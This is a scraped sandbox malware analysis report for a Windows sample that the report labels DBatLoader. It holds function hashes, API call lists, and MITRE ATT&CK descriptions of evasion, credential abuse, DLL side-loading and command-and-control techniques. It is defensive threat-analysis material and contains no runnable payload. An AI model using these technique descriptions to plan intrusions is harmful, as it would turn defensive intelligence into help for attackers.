Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: d21df3b3a8c9089ad57c5d5b63cee89d23871a8a3caca1bdcf5f2557ea41a675
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 7441D57DA016299BCB62DB68CC90BD9B3BDAF49214F0041D5EE4DE7215DA30AF808F61

Function 0285ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0285ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0285ACFD
GetModuleFileNameA.KERNEL32(02850000,?,00000105), ref: 0285AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0285ADAE

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 16db5c599ba56bf91da2b9c08b476f3c692e1809737bb6bb0c4e6c5076ede41a
Instruction ID: ff2cf12716cbbb3e96eb682b26113adde5b3d6a097fc2025b1b3494cfa9712c2
Opcode Fuzzy Hash: 16db5c599ba56bf91da2b9c08b476f3c692e1809737bb6bb0c4e6c5076ede41a
Instruction Fuzzy Hash: A941217CD402689BDB25EB68CCC4BDAB7FDAB18301F4441E6A948E7241DB74AF848F51

Function 0285ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0285ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0285ACFD
GetModuleFileNameA.KERNEL32(02850000,?,00000105), ref: 0285AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0285ADAE

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 7dbcd68b0e921ee81020c44a8bff2fd53e66924c239c16131f682006a1fc706d
Instruction ID: 3c43c36ee6876bc4ea2022716e30ae73200e03279c6776ae522cdced067dfd44
Opcode Fuzzy Hash: 7dbcd68b0e921ee81020c44a8bff2fd53e66924c239c16131f682006a1fc706d
Instruction Fuzzy Hash: 9E41327CA402689BDB21EB68CC84BDAB7FDAB08301F4441E5A948E7241DB74AF848F51

Function 02851C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481ec280e3cc78828300d3da900a593559592d309b2813141a3d3a95a1f3900d
Instruction ID: 98a3061872d45b646325a428607df5437fce87e2b6173ad4bb08cd95791eb4e2
Opcode Fuzzy Hash: 481ec280e3cc78828300d3da900a593559592d309b2813141a3d3a95a1f3900d
Instruction Fuzzy Hash: 92A1276E7106200BE719AA7C9C883BDB3C2DBC4325F18827EE91DCB785EB68CD558751

Function 0285946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0285955A), ref: 028594F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0285955A), ref: 028594F8

Strings

yyyy, xrefs: 028594CD

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 67fb6e4d72cd263c767ffc6f9f40b4830f907d7c7c2bd751de0be5883ec64049
Instruction ID: a82907f19649be05380b7a9d51ee82185c6200ea092caad8ad6d569e7ca9dd79
Opcode Fuzzy Hash: 67fb6e4d72cd263c767ffc6f9f40b4830f907d7c7c2bd751de0be5883ec64049
Instruction Fuzzy Hash: 3D215A7DA402389FDB11DFA8C841AAEB3F9EF08710F4140A5ED49E7250E7749E54CBA6

Function 02856444 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0285644D
TlsGetValue.KERNEL32(00000020), ref: 02856462

Strings

x$e, xrefs: 02856467

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AllocValue
String ID: x$e
API String ID: 1189806713-1771279499
Opcode ID: 1161bda060d5b6ffa46754650b2e1871c423d164eb1da1778c303d7a537cb82b
Instruction ID: 5c841f241157d847a1c71e43db8e3b4124607abe9f40e1e63c5a70682bd1a36e
Opcode Fuzzy Hash: 1161bda060d5b6ffa46754650b2e1871c423d164eb1da1778c303d7a537cb82b
Instruction Fuzzy Hash: 7FC012BCD403308AEB00BBB8904860A36ADEB00381B8488A4BD04CB198FB35C0148F12

Function 0286AD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0286AD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 0286ADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 0286ADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 0286ADEB

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: 67ed562257bf1f73257018952e5ea52ad4cb40c55b7a356728b821060af4f998
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: F321AFBD6402299BDB14DF69CC84BAE73E9EF40321F008111EE54E7380EB34E9119BA0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LbZ88q4uPa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
LbZ88q4uPa.exe

Function 0286F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02855A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 0286F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 0286DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 0286E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 02867CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 02866D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Function 02851724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 02868704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02851A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 0286E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 0286881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Function 0285E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 0286705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 0285E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON